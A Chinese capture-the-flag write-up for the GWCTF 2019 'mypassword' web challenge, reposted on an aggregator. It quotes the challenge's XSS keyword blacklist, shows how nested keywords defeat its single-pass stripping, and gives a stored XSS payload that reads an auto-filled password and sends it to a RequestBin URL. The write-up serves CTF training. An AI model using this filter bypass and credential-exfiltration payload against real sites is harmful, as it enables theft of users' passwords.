[GWCTF 2019]mypassword

Posted wkzb

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[GWCTF 2019]mypassword相关的知识,希望对你有一定的参考价值。

这道题(不只这道题以后也一定)要注意控制台中的信息,给出了login.js代码,会把当前用户的用户名和密码填入表单

技术图片

 

注册个账号,登录之后给提示不是注入题

技术图片

 

浏览一下网站功能,feedback页面可以提交反馈消息, list中可以查看和删除消息内容,发现feedback.php页面有注释

<!-- 
            if(is_array($feedback)){
                echo "<script>alert(‘反馈不合法‘);</script>";
                return false;
            }
            $blacklist = [‘_‘,‘‘‘,‘&‘,‘‘,‘#‘,‘%‘,‘input‘,‘script‘,‘iframe‘,‘host‘,‘onload‘,‘onerror‘,‘srcdoc‘,‘location‘,‘svg‘,‘form‘,‘img‘,‘src‘,‘getElement‘,‘document‘,‘cookie‘];
            foreach ($blacklist as $val) {
                while(true){
                    if(stripos($feedback,$val) !== false){
                        $feedback = str_ireplace($val,"",$feedback);
                    }else{
                        break;
                    }
                }
            }
            -->

 

审计代码可以看出对输入的内容有过滤,但是只是替换为空很容易绕过,例如是incookieput的话,替换后会剩下input。由于login.js中有记录密码的功能,所以我们可以构造一个表单在feedback页面提交,在 http://http.requestbin.buuoj.cn (RequestBin提供了一个URL,该URL将收集对其发出的请求,首页点击create a requestbin)页面接收flag

<incookieput type="text" name="username">
<incookieput type="password" name="password">
<scrcookieipt scookierc="./js/login.js"></scrcookieipt>
<scrcookieipt>
    var psw = docucookiement.getcookieElementsByName("password")[0].value;
    docucookiement.locacookietion="http://http.requestbin.buuoj.cn/11uk8c71/?a="+psw;
</scrcookieipt>

技术图片

 

 

参考:

http://www.ch4ser.top/2019/04/22/XSS%E9%A2%98%E5%9E%8B%E8%AE%B0%E5%BD%95/

http://www.tan90deg.cn/index.php/00000/131.html

以上是关于[GWCTF 2019]mypassword的主要内容,如果未能解决你的问题,请参考以下文章

BUUCTF [GWCTF 2019]pyre WriteUp

[GWCTF 2019]枯燥的抽奖

刷题记录:[GWCTF 2019]我有一个数据库

BUU-WEB-[GWCTF 2019]枯燥的抽奖

[BJDCTF2020]Cookie is so stable && [GWCTF 2019]枯燥的抽奖

BUU[GWCTF 2019]pyre 1